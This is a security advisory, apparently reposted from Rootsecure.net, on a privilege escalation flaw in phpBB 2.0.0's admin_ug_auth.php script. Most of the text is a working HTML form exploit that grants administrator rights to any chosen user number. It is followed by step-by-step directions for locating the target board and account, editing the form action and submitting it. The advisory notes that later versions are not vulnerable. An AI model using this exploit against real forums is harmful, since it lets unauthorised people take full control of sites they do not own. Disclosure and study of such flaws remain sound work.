Vulnerability in PHPBB 2.0

Privilege Escalation Vulnerability In phpBB 2.0.0
-------------------------------------------------

Rootsecure.net recently found a privilege escalation vulnerability
in "phpBB 2.0.0" which allows any person with a "user" level account to
escalate their privileges to that of "administrator" level, and therefore
gain full unrestrictive control of a forum.

A coding error exists in the admin_ug_auth.php script (used to set
permissions), which means that although admin rights are needed to view
the page, anyone can post data back to it "no questions asked".
Therefore, if you already know what kind of response the board is looking
for, you can go straight ahead and tell it directly that you want to give
admin rights to a specific account.

Demonstration Code
------------------

< html >
< head >
< /head >
< body >

< form method="post"
action="http://www.domain_name/board_directory/admin/admin_ug_auth.php"; >
User Level: < select name="userlevel" >
< option value="admin" >Administrator< /option >
< option value="user" >User< /option >< /select >
< input type="hidden" name="private[1]" value="0" >
< input type="hidden" name="moderator[1]" value="0" >
< input type="hidden" name="mode" value="user" >
< input type="hidden" name="adv" value="" >
User Number: < input type="text" name="u" size="5" >
< input type="submit" name="submit" value="Submit" >

< /form >
< /body >
< /html >

Before using the sample code you must first find out two bits of
information:

1. The base directory of the board, (usually something like
http://www.mydomain.com/phpBB2), which is found by taking off index.php
from the main page URL.
2. The user number of the account you wish to give admin. To do this go
to the forums member list page, click your username, then note down the
number shown at the right end of the URL you are now at. (if no users
have been deleted from the board, then the number next to your username
on the members list page under the "#" column will also be your true user
number).

When you have all the information, ensure you log out from the board.
(otherwise, you will get a permissions error later on).

Now edit the form action in the demonstration code above to be the full
location of the boards base directory plus the location of the admin
script. Usually, this is in a subdirectory from the base directory
called /admin/. Your result should look something like this:
action=http://www.domain_name/board_directory/admin/admin_ug_auth.php.
Save the changes to your page when you are done.

Next just call it in a local browser window, typing the user number you
obtained into the user number box on screen, and hit submit. On your
next login, you will have admin rights.

Note: phpBB versions above 2.0.0 are not vulnerable.

Additional information along with downloadable versions of the exploit
code in the form of a static HTML page, and Perl script can be found at
http://www.rootsecure.net?menuitem=exploit_code